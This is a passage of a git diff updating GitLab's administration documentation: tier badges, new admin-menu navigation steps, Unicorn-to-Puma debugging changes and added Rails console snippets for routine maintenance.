-Please ensure that the GitLab and Gitaly nodes are synchronized and use an NTP time
-server to keep them synchronized if possible.
+For troubleshooting information, see Gitaly and Gitaly Cluster
+[troubleshooting information](../gitaly/index.md).
## Troubleshooting the GitLab Rails application
diff --git a/doc/administration/reply_by_email_postfix_setup.md b/doc/administration/reply_by_email_postfix_setup.md
index f0b9daead69..aae5475312f 100644
--- a/doc/administration/reply_by_email_postfix_setup.md
+++ b/doc/administration/reply_by_email_postfix_setup.md
@@ -4,7 +4,7 @@ group: Distribution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Set up Postfix for incoming email
+# Set up Postfix for incoming email **(FREE SELF)**
This document will take you through the steps of setting up a basic Postfix mail
server with IMAP authentication on Ubuntu, to be used with [incoming email](incoming_email.md).
diff --git a/doc/administration/repository_checks.md b/doc/administration/repository_checks.md
index d603e5d8c92..869b1e7068f 100644
--- a/doc/administration/repository_checks.md
+++ b/doc/administration/repository_checks.md
@@ -41,9 +41,12 @@ in the [`repocheck.log` file](logs.md#repochecklog) on disk:
- `/var/log/gitlab/gitlab-rails` for Omnibus GitLab installations
- `/home/git/gitlab/log` for installations from source
-If the periodic repository check causes false alarms, you can clear all repository check states by
-going to **Admin Area > Settings > Repository**
-(`/admin/application_settings/repository`) and clicking **Clear all repository checks**.
+If the periodic repository check causes false alarms, you can clear all repository check states by:
+
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Settings > Repository** (`/admin/application_settings/repository`).
+1. Expand the **Repository maintenance** section.
+1. Select **Clear all repository checks**.
## Run a check manually
diff --git a/doc/administration/repository_storage_paths.md b/doc/administration/repository_storage_paths.md
index cea2144122b..a1391f3e0ed 100644
--- a/doc/administration/repository_storage_paths.md
+++ b/doc/administration/repository_storage_paths.md
@@ -7,13 +7,11 @@ type: reference, howto
# Repository storage **(FREE SELF)**
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/4578) in GitLab 8.10.
-
GitLab stores [repositories](../user/project/repository/index.md) on repository storage. Repository
storage is either:
- A `gitaly_address`, which points to a [Gitaly node](gitaly/index.md).
-- A `path`, which points directly a directory where the repositories are stored. This method is
+- A `path`, which points directly to the directory where the repositories are stored. This method is
deprecated and [scheduled to be removed](https://gitlab.com/gitlab-org/gitaly/-/issues/1690) in
GitLab 14.0.
@@ -142,8 +140,9 @@ Omnibus stores the repositories in a `repositories` subdirectory of the `git-dat
After you [configure](#configure-repository-storage-paths) multiple repository storage paths, you
can choose where new repositories are stored:
-1. Go to the Admin Area (**{admin}**).
-1. Go to **Settings > Repository** and expand the **Repository storage** section.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Settings > Repository** and expand the **Repository storage**
+ section.
1. Enter values in the **Storage nodes for new repositories** fields.
1. Select **Save changes**.
@@ -156,5 +155,5 @@ often it is chosen. That is, `(storage weight) / (sum of all weights) * 100 = ch
## Move repositories
-To move a repository to a different repository path, use the same process as
-[migrating to Gitaly Cluster](gitaly/praefect.md#migrate-to-gitaly-cluster).
+To move a repository to a different repository storage (for example, from `default` to `storage2`), use the
+same process as [migrating to Gitaly Cluster](gitaly/praefect.md#migrate-to-gitaly-cluster).
diff --git a/doc/administration/repository_storage_types.md b/doc/administration/repository_storage_types.md
index 21bb11226ce..f55bff1bf34 100644
--- a/doc/administration/repository_storage_types.md
+++ b/doc/administration/repository_storage_types.md
@@ -80,8 +80,8 @@ Administrators can look up a project's hashed path from its name or ID using:
To look up a project's hash path in the Admin Area:
-1. Go to the **Admin Area** (**{admin}**).
-1. Go to **Overview > Projects** and select the project.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Overview > Projects** and select the project.
The **Gitaly relative path** is displayed there and looks similar to:
diff --git a/doc/administration/sidekiq.md b/doc/administration/sidekiq.md
index a97eff23c2f..95fef1255af 100644
--- a/doc/administration/sidekiq.md
+++ b/doc/administration/sidekiq.md
@@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: reference
---
-# Configuring Sidekiq
+# Configuring Sidekiq **(FREE SELF)**
This section discusses how to configure an external Sidekiq instance using the
bundled Sidekiq in the GitLab package.
@@ -26,7 +26,7 @@ you want using steps 1 and 2 from the GitLab downloads page.
## Optional: Enable extra Sidekiq processes
sidekiq_cluster['enable'] = true
sidekiq['queue_groups'] = [
- "elastic_indexer",
+ "elastic_commit_indexer",
"*"
]
```
@@ -187,4 +187,5 @@ gitlab_rails['monitoring_whitelist'] = ['10.10.1.42', '127.0.0.1']
Related Sidekiq configuration:
1. [Extra Sidekiq processes](operations/extra_sidekiq_processes.md)
+1. [Extra Sidekiq routing](operations/extra_sidekiq_routing.md)
1. [Using the GitLab-Sidekiq chart](https://docs.gitlab.com/charts/charts/gitlab/sidekiq/)
diff --git a/doc/administration/smime_signing_email.md b/doc/administration/smime_signing_email.md
index 7492bf4457a..ebc1723076b 100644
--- a/doc/administration/smime_signing_email.md
+++ b/doc/administration/smime_signing_email.md
@@ -4,7 +4,7 @@ group: Distribution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Signing outgoing email with S/MIME
+# Signing outgoing email with S/MIME **(FREE SELF)**
Notification emails sent by GitLab can be signed with S/MIME for improved
security.
diff --git a/doc/administration/static_objects_external_storage.md b/doc/administration/static_objects_external_storage.md
index fcd2bbc035f..48b98156b4f 100644
--- a/doc/administration/static_objects_external_storage.md
+++ b/doc/administration/static_objects_external_storage.md
@@ -16,7 +16,8 @@ from an external storage, such as a Content Delivery Network (CDN).
To configure external storage for static objects:
-1. Go to **Admin Area > Settings > Repository**.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left sidebar, select **Settings > Repository**.
1. Expand the **Repository static objects** section.
1. Enter the base URL and an arbitrary token. When you [set up external storage](#set-up-external-storage),
use a script that sets these values as `ORIGIN_HOSTNAME` and `STORAGE_TOKEN`.
diff --git a/doc/administration/terraform_state.md b/doc/administration/terraform_state.md
index 898d98495d9..388ae74f207 100644
--- a/doc/administration/terraform_state.md
+++ b/doc/administration/terraform_state.md
@@ -23,7 +23,7 @@ Use [external object storage](https://docs.gitlab.com/charts/advanced/external-o
## Disabling Terraform state
To disable terraform state site-wide, follow the steps below.
-A GitLab administrator may want to disable Terraform state to reduce diskspace or if Terraform is not used in your instance.
+A GitLab administrator may want to disable Terraform state to reduce disk space or if Terraform is not used in your instance.
To do so, follow the steps below according to your installation's type.
**In Omnibus installations:**
diff --git a/doc/administration/timezone.md b/doc/administration/timezone.md
index 6f460ed0ea8..bc94110c5b6 100644
--- a/doc/administration/timezone.md
+++ b/doc/administration/timezone.md
@@ -4,7 +4,7 @@ group: Distribution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Changing your time zone
+# Changing your time zone **(FREE SELF)**
The global time zone configuration parameter can be changed in `config/gitlab.yml`:
diff --git a/doc/administration/troubleshooting/debug.md b/doc/administration/troubleshooting/debug.md
index 5a8ee1c5c94..6861cdcde4e 100644
--- a/doc/administration/troubleshooting/debug.md
+++ b/doc/administration/troubleshooting/debug.md
@@ -4,7 +4,7 @@ group: Distribution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Debugging Tips
+# Debugging tips **(FREE SELF)**
Sometimes things don't work the way they should. Here are some tips on debugging issues out
in production.
@@ -26,7 +26,7 @@ You can enable output of Active Record debug logging in the Rails console
session by running:
```ruby
-ActiveRecord::Base.logger = Logger.new(STDOUT)
+ActiveRecord::Base.logger = Logger.new($stdout)
```
This will show information about database queries triggered by any Ruby code
@@ -155,7 +155,7 @@ and more. However, this is not enabled by default. To enable it, define the
gitlab_rails['env'] = {"ENABLE_RBTRACE" => "1"}
```
-Then reconfigure the system and restart Unicorn and Sidekiq. To run this
+Then reconfigure the system and restart Puma and Sidekiq. To run this
in Omnibus, run as root:
```ruby
@@ -178,7 +178,7 @@ following tips are only recommended if you do NOT mind users being affected by
downtime. Otherwise skip to the next section.
1. Load the problematic URL
-1. Run `sudo gdb -p <PID>` to attach to the Unicorn process.
+1. Run `sudo gdb -p <PID>` to attach to the Puma process.
1. In the GDB window, type:
```plaintext
@@ -186,7 +186,7 @@ downtime. Otherwise skip to the next section.
```
1. This forces the process to generate a Ruby backtrace. Check
- `/var/log/gitlab/unicorn/unicorn_stderr.log` for the backtrace. For example, you may see:
+ `/var/log/gitlab/puma/puma_stderr.log` for the backtrace. For example, you may see:
```plaintext
from /opt/gitlab/embedded/service/gitlab-rails/lib/gitlab/metrics/sampler.rb:33:in `block in start'
@@ -213,16 +213,19 @@ downtime. Otherwise skip to the next section.
exit
```
-Note that if the Unicorn process terminates before you are able to run these
+Note that if the Puma process terminates before you are able to run these
commands, GDB will report an error. To buy more time, you can always raise the
-Unicorn timeout. For omnibus users, you can edit `/etc/gitlab/gitlab.rb` and
-increase it from 60 seconds to 300:
+Puma worker timeout. For omnibus users, you can edit `/etc/gitlab/gitlab.rb` and
+increase it from 60 seconds to 600:
```ruby
-unicorn['worker_timeout'] = 300
+gitlab_rails['env'] = {
+ 'GITLAB_RAILS_RACK_TIMEOUT' => 600
+}
```
-For source installations, edit `config/unicorn.rb`.
+For source installations, set the environment variable.
+Refer to [Puma Worker timeout](https://docs.gitlab.com/omnibus/settings/puma.html#worker-timeout).
[Reconfigure](../restart_gitlab.md#omnibus-gitlab-reconfigure) GitLab for the changes to take effect.
@@ -267,7 +270,7 @@ is a Unicorn worker that is spinning via `top`. Try to use the `gdb`
techniques above. In addition, using `strace` may help isolate issues:
```shell
-strace -ttTfyyy -s 1024 -p <PID of unicorn worker> -o /tmp/unicorn.txt
+strace -ttTfyyy -s 1024 -p <PID of puma worker> -o /tmp/puma.txt
```
If you cannot isolate which Unicorn worker is the issue, try to run `strace`
@@ -275,10 +278,10 @@ on all the Unicorn workers to see where the
[`/internal/allowed`](../../development/internal_api.md) endpoint gets stuck:
```shell
-ps auwx | grep unicorn | awk '{ print " -p " $2}' | xargs strace -ttTfyyy -s 1024 -o /tmp/unicorn.txt
+ps auwx | grep puma | awk '{ print " -p " $2}' | xargs strace -ttTfyyy -s 1024 -o /tmp/puma.txt
```
-The output in `/tmp/unicorn.txt` may help diagnose the root cause.
+The output in `/tmp/puma.txt` may help diagnose the root cause.
## More information
diff --git a/doc/administration/troubleshooting/defcon.md b/doc/administration/troubleshooting/defcon.md
index 09e11553d97..7cae6ea1c8f 100644
--- a/doc/administration/troubleshooting/defcon.md
+++ b/doc/administration/troubleshooting/defcon.md
@@ -5,21 +5,21 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: reference
---
-# Disaster Recovery
+# Disaster recovery **(FREE SELF)**
-This document describes a feature that allows to easily disable some important but computationally
-expensive parts of the application, in order to relieve stress on the database in an ongoing downtime.
+This document describes a feature that allows you to disable some important but computationally
+expensive parts of the application to relieve stress on the database during an ongoing downtime.
## `ci_queueing_disaster_recovery`
-This feature flag, if enabled temporarily disables fair scheduling on shared runners.
-This can help reduce system resource usage on the `jobs/request` endpoint
-by significantly reducing computations being performed.
+This feature flag, if temporarily enabled, disables fair scheduling on shared runners.
+This can help to reduce system resource usage on the `jobs/request` endpoint
+by significantly reducing the computations being performed.
Side effects:
-- In case of a large backlog of jobs, the jobs will be processed in the order
-they were put in the system instead of balancing the jobs across many projects
+- In case of a large backlog of jobs, the jobs are processed in the order
+ they were put in the system, instead of balancing the jobs across many projects.
- Projects which are out of quota will be run. This affects
-only jobs that were created during the last hour, as prior jobs are canceled
-by a periodic background worker (`StuckCiJobsWorker`).
+ only jobs created during the last hour, as prior jobs are canceled
+ by a periodic background worker (`StuckCiJobsWorker`).
diff --git a/doc/administration/troubleshooting/diagnostics_tools.md b/doc/administration/troubleshooting/diagnostics_tools.md
index 27a7493b318..fe85b5d5803 100644
--- a/doc/administration/troubleshooting/diagnostics_tools.md
+++ b/doc/administration/troubleshooting/diagnostics_tools.md
@@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: reference
---
-# Diagnostics tools
+# Diagnostics tools **(FREE SELF)**
These are some of the diagnostics tools the GitLab Support team uses during troubleshooting.
They are listed here for transparency, and they may be useful for users with experience
diff --git a/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md b/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md
index 588be73e786..92070a86a0d 100644
--- a/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md
+++ b/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md
@@ -100,7 +100,7 @@ Rails.cache.instance_variable_get(:@data).keys
```ruby
# Before 11.6.0
-logger = Logger.new(STDOUT)
+logger = Logger.new($stdout)
admin_token = User.find_by_username('ADMIN_USERNAME').personal_access_tokens.first.token
app.get("URL/?private_token=#{admin_token}")
@@ -113,7 +113,7 @@ Gitlab::Profiler.with_user(admin) { app.get(url) }
## Using the GitLab profiler inside console (used as of 10.5)
```ruby
-logger = Logger.new(STDOUT)
+logger = Logger.new($stdout)
admin = User.find_by_username('ADMIN_USERNAME')
Gitlab::Profiler.profile('URL', logger: logger, user: admin)
```
@@ -279,6 +279,21 @@ p.each do |project|
end
```
+## Bulk update to change all the Jira integrations to Jira instance-level values
+
+To change all Jira project to use the instance-level integration settings:
+
+1. In a Rails console:
+
+ ```ruby
+ jira_service_instance_id = JiraService.find_by(instance: true).id
+ JiraService.where(active: true, instance: false, template: false, inherit_from_id: nil).find_each do |service|
+ service.update_attribute(:inherit_from_id, jira_service_instance_id)
+ end
+ ```
+
+1. Modify and save again the instance-level integration from the UI to propagate the changes to all the group-level and project-level integrations.
+
### Bulk update to disable the Slack Notification service
To disable notifications for all projects that have Slack service enabled, do:
@@ -302,7 +317,18 @@ the displayed size may still show old sizes or commit numbers. To force an updat
p = Project.find_by_full_path('<namespace>/<project>')
pp p.statistics
p.statistics.refresh!
-pp p.statistics # compare with earlier values
+pp p.statistics
+# compare with earlier values
+
+# check the total artifact storage space separately
+builds_with_artifacts = p.builds.with_downloadable_artifacts.all
+
+artifact_storage = 0
+builds_with_artifacts.find_each do |build|
+ artifact_storage += build.artifacts_size
+end
+
+puts "#{artifact_storage} bytes"
```
### Identify deploy keys associated with blocked and non-member users
@@ -341,6 +367,16 @@ DeployKeysProject.with_write_access.find_each do |deploy_key_mapping|
end
```
+### Find projects using an SQL query
+
+Find and store an array of projects based on an SQL query:
+
+```ruby
+# Finds projects that end with '%ject'
+projects = Project.find_by_sql("SELECT * FROM projects WHERE name LIKE '%ject'")
+=> [#<Project id:12 root/my-first-project>>, #<Project id:13 root/my-second-project>>]
+```
+
## Wikis
### Recreate
@@ -524,7 +560,8 @@ User.billable.count
Using cURL and jq (up to a max 100, see the [pagination docs](../../api/README.md#pagination)):
```shell
-curl --silent --header "Private-Token: ********************" "https://gitlab.example.com/api/v4/users?per_page=100&active" | jq --compact-output '.[] | [.id,.name,.username]'
+curl --silent --header "Private-Token: ********************" \
+ "https://gitlab.example.com/api/v4/users?per_page=100&active" | jq --compact-output '.[] | [.id,.name,.username]'
```
### Block or Delete Users that have no projects or groups
@@ -694,6 +731,16 @@ emails.each do |e|
end
```
+### Find groups using an SQL query
+
+Find and store an array of groups based on an SQL query:
+
+```ruby
+# Finds groups and subgroups that end with '%oup'
+Group.find_by_sql("SELECT * FROM namespaces WHERE name LIKE '%oup'")
+=> [#<Group id:3 @test-group>, #<Group id:4 @template-group/template-subgroup>]
+```
+
## Routes
### Remove redirecting routes
@@ -839,7 +886,7 @@ License.current.trial?
### Check if a project feature is available on the instance
-Features listed in <https://gitlab.com/gitlab-org/gitlab/blob/master/ee/app/models/license.rb>.
+Features listed in <https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/app/models/license.rb>.
```ruby
License.current.feature_available?(:jira_dev_panel_integration)
@@ -847,7 +894,7 @@ License.current.feature_available?(:jira_dev_panel_integration)
### Check if a project feature is available in a project
-Features listed in [`license.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/app/models/license.rb).
+Features listed in [`license.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/app/models/license.rb).
```ruby
p = Project.find_by_full_path('<group>/<project>')
@@ -863,55 +910,6 @@ license.save
License.current # check to make sure it applied
```
-## Unicorn
-
-From [Zendesk ticket #91083](https://gitlab.zendesk.com/agent/tickets/91083) (internal)
-
-### Poll Unicorn requests by seconds
-
-```ruby
-require 'rubygems'
-require 'unicorn'
-
-# Usage for this program
-def usage
- puts "ruby unicorn_status.rb <path to unix socket> <poll interval in seconds>"
- puts "Polls the given Unix socket every interval in seconds. Will not allow you to drop below 3 second poll intervals."
- puts "Example: /opt/gitlab/embedded/bin/ruby poll_unicorn.rb /var/opt/gitlab/gitlab-rails/sockets/gitlab.socket 10"
-end
-
-# Look for required args. Throw usage and exit if they don't exist.
-if ARGV.count < 2
- usage
- exit 1
-end
-
-# Get the socket and threshold values.
-socket = ARGV[0]
-threshold = (ARGV[1]).to_i
-
-# Check threshold - is it less than 3? If so, set to 3 seconds. Safety first!
-if threshold.to_i < 3
- threshold = 3
-end
-
-# Check - does that socket exist?
-unless File.exist?(socket)
- puts "Socket file not found: #{socket}"
- exit 1
-end
-
-# Poll the given socket every THRESHOLD seconds as specified above.
-puts "Running infinite loop. Use CTRL+C to exit."
-puts "------------------------------------------"
-loop do
- Raindrops::Linux.unix_listener_stats([socket]).each do |addr, stats|
- puts DateTime.now.to_s + " Active: " + stats.active.to_s + " Queued: " + stats.queued.to_s
- end
- sleep threshold
-end
-```
-
## Registry
### Registry Disk Space Usage by Project
@@ -1189,6 +1187,28 @@ Prints the metrics saved in `conversational_development_index_metrics`.
rake gitlab:usage_data:generate_and_send
```
+## Kubernetes integration
+
+Find cluster:
+
+```ruby
+cluster = Clusters::Cluster.find(1)
+cluster = Clusters::Cluster.find_by(name: 'cluster_name')
+```
+
+Delete cluster without associated resources:
+
+```ruby
+# Find an admin user
+user = User.find_by(username: 'admin_user')
+
+# Find the cluster with the ID
+cluster = Clusters::Cluster.find(1)
+
+# Delete the cluster
+Clusters::DestroyService.new(user).execute(cluster)
+```
+
## Elasticsearch
### Configuration attributes
@@ -1206,11 +1226,11 @@ Among other attributes, in the output you will notice that all the settings avai
You can then set anyone of Elasticsearch integration settings by issuing a command similar to:
```ruby
-ApplicationSetting.last.update_attributes(elasticsearch_url: '<your ES URL and port>')
+ApplicationSetting.last.update(elasticsearch_url: '<your ES URL and port>')
#or
-ApplicationSetting.last.update_attributes(elasticsearch_indexing: false)
+ApplicationSetting.last.update(elasticsearch_indexing: false)
```
#### Getting attributes
diff --git a/doc/administration/troubleshooting/group_saml_scim.md b/doc/administration/troubleshooting/group_saml_scim.md
index 63e69589b54..9e9ef492ebd 100644
--- a/doc/administration/troubleshooting/group_saml_scim.md
+++ b/doc/administration/troubleshooting/group_saml_scim.md
@@ -42,6 +42,10 @@ SCIM mapping:
![Azure AD SCIM](img/AzureAD-scim_attribute_mapping.png)
+Group Sync:
+
+![Azure Group Claims](img/azure_configure_group_claim.png)
+
## Okta
Basic SAML app configuration:
diff --git a/doc/administration/troubleshooting/img/azure_configure_group_claim.png b/doc/administration/troubleshooting/img/azure_configure_group_claim.png
new file mode 100644
index 00000000000..31df5fff625
--- /dev/null
+++ b/doc/administration/troubleshooting/img/azure_configure_group_claim.png
Binary files differ
diff --git a/doc/administration/troubleshooting/index.md b/doc/administration/troubleshooting/index.md
index 1c205cc987a..75c5ce460e9 100644
--- a/doc/administration/troubleshooting/index.md
+++ b/doc/administration/troubleshooting/index.md
@@ -4,7 +4,7 @@ group: Distribution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Troubleshooting a GitLab installation
+# Troubleshooting a GitLab installation **(FREE SELF)**
This page documents a collection of resources to help you troubleshoot a GitLab
installation.
diff --git a/doc/administration/troubleshooting/kubernetes_cheat_sheet.md b/doc/administration/troubleshooting/kubernetes_cheat_sheet.md
index 9766b2210ca..b43825092b7 100644
--- a/doc/administration/troubleshooting/kubernetes_cheat_sheet.md
+++ b/doc/administration/troubleshooting/kubernetes_cheat_sheet.md
@@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: reference
---
-# Kubernetes, GitLab and You
+# Kubernetes, GitLab, and you **(FREE SELF)**
This is a list of useful information regarding Kubernetes that the GitLab Support
Team sometimes uses while troubleshooting. GitLab is making this public, so that anyone
@@ -147,7 +147,7 @@ and they will assist you with any issues you are having.
You can also use `gitlab-rake`, instead of `/usr/local/bin/gitlab-rake`.
-- Troubleshooting **Operations > Kubernetes** integration:
+- Troubleshooting **Infrastructure > Kubernetes** integration:
- Check the output of `kubectl get events -w --all-namespaces`.
- Check the logs of pods within `gitlab-managed-apps` namespace.
diff --git a/doc/administration/troubleshooting/linux_cheat_sheet.md b/doc/administration/troubleshooting/linux_cheat_sheet.md
index c4e991ccc1b..9eadbad171e 100644
--- a/doc/administration/troubleshooting/linux_cheat_sheet.md
+++ b/doc/administration/troubleshooting/linux_cheat_sheet.md
@@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: reference
---
-# Linux Cheat Sheet
+# Linux cheat sheet **(FREE SELF)**
This is the GitLab Support Team's collection of information regarding Linux, that they
sometimes use while troubleshooting. It is listed here for transparency,
@@ -177,8 +177,8 @@ strace -tt -T -f -y -yy -s 1024 -p <pid>
# -o output file
-# run strace on all unicorn processes
-ps auwx | grep unicorn | awk '{ print " -p " $2}' | xargs strace -tt -T -f -y -yy -s 1024 -o /tmp/unicorn.txt
+# run strace on all puma processes
+ps auwx | grep puma | awk '{ print " -p " $2}' | xargs strace -tt -T -f -y -yy -s 1024 -o /tmp/puma.txt
```
Be aware that strace can have major impacts to system performance when it is running.
diff --git a/doc/administration/troubleshooting/log_parsing.md b/doc/administration/troubleshooting/log_parsing.md
index a0f71960e14..c16302dd251 100644
--- a/doc/administration/troubleshooting/log_parsing.md
+++ b/doc/administration/troubleshooting/log_parsing.md
@@ -4,7 +4,7 @@ group: Distribution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Parsing GitLab logs with `jq`
+# Parsing GitLab logs with `jq` **(FREE SELF)**
We recommend using log aggregation and search tools like Kibana and Splunk whenever possible,
but if they are not available you can still quickly parse
diff --git a/doc/administration/troubleshooting/navigating_gitlab_via_rails_console.md b/doc/administration/troubleshooting/navigating_gitlab_via_rails_console.md
index 481c95b925a..e55118d7309 100644
--- a/doc/administration/troubleshooting/navigating_gitlab_via_rails_console.md
+++ b/doc/administration/troubleshooting/navigating_gitlab_via_rails_console.md
@@ -4,7 +4,7 @@ group: Distribution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Navigating GitLab via Rails console
+# Navigating GitLab via Rails console **(FREE SELF)**
At the heart of GitLab is a web application [built using the Ruby on Rails
framework](https://about.gitlab.com/blog/2018/10/29/why-we-use-rails-to-build-gitlab/).
@@ -46,7 +46,7 @@ Let's enable debug logging for Active Record so we can see the underlying
database queries made:
```ruby
-ActiveRecord::Base.logger = Logger.new(STDOUT)
+ActiveRecord::Base.logger = Logger.new($stdout)
```
Now, let's try retrieving a user from the database:
diff --git a/doc/administration/troubleshooting/postgresql.md b/doc/administration/troubleshooting/postgresql.md
index 9565b7594d6..341c6bfbc65 100644
--- a/doc/administration/troubleshooting/postgresql.md
+++ b/doc/administration/troubleshooting/postgresql.md
@@ -53,8 +53,7 @@ This section is for links to information elsewhere in the GitLab documentation.
- [PostgreSQL scaling](../postgresql/replication_and_failover.md)
- Including [troubleshooting](../postgresql/replication_and_failover.md#troubleshooting)
- `gitlab-ctl repmgr-check-master` (or `gitlab-ctl patroni check-leader` if
- you're using Patroni) and PgBouncer errors.
+ `gitlab-ctl patroni check-leader` and PgBouncer errors.
- [Developer database documentation](../../development/README.md#database-guides),
some of which is absolutely not for production use. Including:
diff --git a/doc/administration/troubleshooting/sidekiq.md b/doc/administration/troubleshooting/sidekiq.md
index 297a8355036..7a8ac8c3dbe 100644
--- a/doc/administration/troubleshooting/sidekiq.md
+++ b/doc/administration/troubleshooting/sidekiq.md
@@ -4,7 +4,7 @@ group: Distribution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Troubleshooting Sidekiq
+# Troubleshooting Sidekiq **(FREE SELF)**
Sidekiq is the background job processor GitLab uses to asynchronously run
tasks. When things go wrong it can be difficult to troubleshoot. These
diff --git a/doc/administration/troubleshooting/ssl.md b/doc/administration/troubleshooting/ssl.md
index 7c0b745f8c2..5ce4c7f0fb2 100644
--- a/doc/administration/troubleshooting/ssl.md
+++ b/doc/administration/troubleshooting/ssl.md
@@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: reference
---
-# Troubleshooting SSL
+# Troubleshooting SSL **(FREE SELF)**
This page contains a list of common SSL-related errors and scenarios that you
may encounter while working with GitLab. It should serve as an addition to the
diff --git a/doc/administration/troubleshooting/test_environments.md b/doc/administration/troubleshooting/test_environments.md
index 16ef4f83978..5fe493a536c 100644
--- a/doc/administration/troubleshooting/test_environments.md
+++ b/doc/administration/troubleshooting/test_environments.md
@@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: reference
---
-# Apps for a Testing Environment
+# Apps for a testing environment **(FREE SELF)**
This is the GitLab Support Team's collection of information regarding testing environments,
for use while troubleshooting. It is listed here for transparency, and it may be useful
diff --git a/doc/administration/troubleshooting/tracing_correlation_id.md b/doc/administration/troubleshooting/tracing_correlation_id.md
index ad2b8586b8b..7b9ce5c6d7b 100644
--- a/doc/administration/troubleshooting/tracing_correlation_id.md
+++ b/doc/administration/troubleshooting/tracing_correlation_id.md
@@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: reference
---
-# Finding relevant log entries with a correlation ID
+# Finding relevant log entries with a correlation ID **(FREE SELF)**
In GitLab 11.6 and later, a unique request tracking ID, known as the "correlation ID" has been
logged by the GitLab instance for most requests. Each individual request to GitLab gets
diff --git a/doc/administration/whats-new.md b/doc/administration/whats-new.md
index a5e3a232890..ae19e0f0341 100644
--- a/doc/administration/whats-new.md
+++ b/doc/administration/whats-new.md
@@ -29,7 +29,8 @@ in the first patch release, such as `13.10.1`.
You can configure the What's new variant:
-1. Navigate to **Admin Area > Settings > Preferences**, then expand **What's new**.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Settings > Preferences**, then expand **What's new**.
1. Choose one of the following options:
| Option | Description |
diff --git a/doc/api/README.md b/doc/api/README.md
index db0c593dc03..c23a383c70f 100644
--- a/doc/api/README.md
+++ b/doc/api/README.md
@@ -8,7 +8,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
Use the GitLab [REST](http://spec.openapis.org/oas/v3.0.3) API to automate GitLab.
-You can also use a partial [OpenAPI definition](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/api/openapi/openapi.yaml),
+You can also use a partial [OpenAPI definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/api/openapi/openapi.yaml),
to test the API directly from the GitLab user interface.
Contributions are welcome.
@@ -59,8 +59,8 @@ version number.
New features and bug fixes are released in tandem with GitLab. Apart
from incidental patch and security releases, GitLab is released on the 22nd of each
-month. Backward-incompatible changes (for example, endpoint and parameter removal),
-and removal of entire API versions are done in tandem with major GitLab releases.
+month. Major API version changes, and removal of entire API versions, are done in tandem
+with major GitLab releases.
All deprecations and changes between versions are in the documentation.
For the changes between v3 and v4, see the [v3 to v4 documentation](v3_to_v4.md).
@@ -73,7 +73,7 @@ Only API version v4 is available. Version v3 was removed in
## How to use the API
API requests must include both `api` and the API version. The API
-version is defined in [`lib/api.rb`](https://gitlab.com/gitlab-org/gitlab/tree/master/lib/api/api.rb).
+version is defined in [`lib/api.rb`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/api/api.rb).
For example, the root of the v4 API is at `/api/v4`.
### Valid API request
@@ -597,7 +597,8 @@ send the payload body:
- Request payload (JSON):
```shell
- curl --request POST --header "Content-Type: application/json" --data '{"name":"<example-name>", "description":"<example-description"}' "https://gitlab/api/v4/projects"
+ curl --request POST --header "Content-Type: application/json" \
+ --data '{"name":"<example-name>", "description":"<example-description"}' "https://gitlab/api/v4/projects"
```
URL encoded query strings have a length limitation. Requests that are too large
diff --git a/doc/api/applications.md b/doc/api/applications.md
index b3a46b70c9e..7047dccea88 100644
--- a/doc/api/applications.md
+++ b/doc/api/applications.md
@@ -40,7 +40,9 @@ Parameters:
Example request:
```shell
-curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --data "name=MyApplication&redirect_uri=http://redirect.uri&scopes=" "https://gitlab.example.com/api/v4/applications"
+curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \
+ --data "name=MyApplication&redirect_uri=http://redirect.uri&scopes=" \
+ "https://gitlab.example.com/api/v4/applications"
```
Example response:
diff --git a/doc/api/audit_events.md b/doc/api/audit_events.md
index 93fefe50d9e..dec2b85c61d 100644
--- a/doc/api/audit_events.md
+++ b/doc/api/audit_events.md
@@ -11,6 +11,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
## Instance Audit Events **(PREMIUM SELF)**
